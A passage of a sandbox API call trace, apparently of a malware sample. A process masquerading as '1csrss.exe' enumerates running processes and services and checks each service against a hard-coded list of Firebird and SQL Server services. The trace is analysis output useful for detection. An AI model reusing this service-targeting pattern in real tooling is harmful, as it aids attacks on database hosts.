th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0277.977] lstrlenW (lpString="msoia.exe") returned 9 [0277.977] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.977] lstrlenW (lpString="explorer.exe") returned 12 [0277.977] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.978] lstrlenW (lpString="SearchUI.exe") returned 12 [0277.978] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.981] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0277.981] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.981] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0277.981] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0277.982] lstrlenW (lpString="1csrss.exe") returned 10 [0277.982] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.983] lstrlenW (lpString="svchost.exe") returned 11 [0277.983] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0277.983] lstrlenW (lpString="cmd.exe") returned 7 [0277.983] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0277.984] lstrlenW (lpString="conhost.exe") returned 11 [0277.984] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0277.985] lstrlenW (lpString="mode.com") returned 8 [0277.985] Process32NextW (in: hSnapshot=0x42c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0277.985] CloseHandle (hObject=0x42c) returned 1 [0277.985] Sleep (dwMilliseconds=0x1f4) [0278.741] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45bb6a0 [0278.742] EnumServicesStatusExW (in: hSCManager=0x45bb6a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0278.742] GetLastError () returned 0xea [0278.742] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7dc300 [0278.742] EnumServicesStatusExW (in: hSCManager=0x45bb6a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7dc300, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7dc300, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0278.743] CloseServiceHandle (hSCObject=0x45bb6a0) returned 1 [0278.743] lstrlenW (lpString="AppXSvc") returned 7 [0278.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0278.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0278.743] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0278.743] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0278.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0278.743] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.743] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.743] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.743] lstrlenW (lpString="Audiosrv") returned 8 [0278.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0278.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0278.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0278.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0278.744] lstrlenW (lpString="BFE") returned 3 [0278.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.744] lstrlenW (lpString="BITS") returned 4 [0278.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0278.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0278.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0278.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0278.744] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0278.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0278.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0278.744] lstrlenW (lpString="CDPSvc") returned 6 [0278.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0278.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0278.744] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0278.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0278.744] lstrlenW (lpString="ClickToRunSvc") returned 13 [0278.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.744] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0278.744] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0278.745] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0278.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0278.745] lstrlenW (lpString="CryptSvc") returned 8 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.745] lstrlenW (lpString="DcomLaunch") returned 10 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.745] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.745] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.745] lstrlenW (lpString="DeviceAssociationService") returned 24 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.745] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0278.745] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0278.745] lstrlenW (lpString="Dhcp") returned 4 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.745] lstrlenW (lpString="Dnscache") returned 8 [0278.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.746] lstrlenW (lpString="DPS") returned 3 [0278.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.746] lstrlenW (lpString="DusmSvc") returned 7 [0278.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0278.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0278.746] lstrlenW (lpString="EventLog") returned 8 [0278.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0278.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0278.746] lstrlenW (lpString="EventSystem") returned 11 [0278.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.746] lstrlenW (lpString="FontCache") returned 9 [0278.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0278.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0278.746] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0278.746] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0278.747] lstrlenW (lpString="gpsvc") returned 5 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.747] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.747] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.747] lstrlenW (lpString="iphlpsvc") returned 8 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.747] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.747] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.747] lstrlenW (lpString="KeyIso") returned 6 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0278.747] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0278.747] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0278.747] lstrlenW (lpString="LanmanServer") returned 12 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.747] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.747] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.747] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.747] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.747] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.747] lstrlenW (lpString="lfsvc") returned 5 [0278.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0278.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0278.748] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0278.748] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0278.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0278.748] lstrlenW (lpString="lmhosts") returned 7 [0278.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0278.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.748] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.748] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.748] lstrlenW (lpString="LSM") returned 3 [0278.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0278.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0278.748] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0278.748] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0278.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0278.748] lstrlenW (lpString="MpsSvc") returned 6 [0278.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.748] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.748] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.748] lstrlenW (lpString="NcbService") returned 10 [0278.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0278.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0278.748] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0278.748] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0278.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0278.748] lstrlenW (lpString="netprofm") returned 8 [0278.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.749] lstrlenW (lpString="NgcSvc") returned 6 [0278.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0278.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0278.749] lstrlenW (lpString="NlaSvc") returned 6 [0278.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.749] lstrlenW (lpString="nsi") returned 3 [0278.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.749] lstrlenW (lpString="PcaSvc") returned 6 [0278.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.749] lstrlenW (lpString="PlugPlay") returned 8 [0278.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.749] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.749] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.750] lstrlenW (lpString="Power") returned 5 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.750] lstrlenW (lpString="ProfSvc") returned 7 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.750] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.750] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.750] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.750] lstrlenW (lpString="RpcSs") returned 5 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.750] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.750] lstrlenW (lpString="SamSs") returned 5 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.750] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.750] lstrlenW (lpString="Schedule") returned 8 [0278.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.751] lstrlenW (lpString="SecurityHealthService") returned 21 [0278.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.751] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0278.751] lstrlenW (lpString="SENS") returned 4 [0278.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.751] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.751] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.751] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.751] lstrlenW (lpString="Spooler") returned 7 [0278.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.751] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.751] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.751] lstrlenW (lpString="SSDPSRV") returned 7 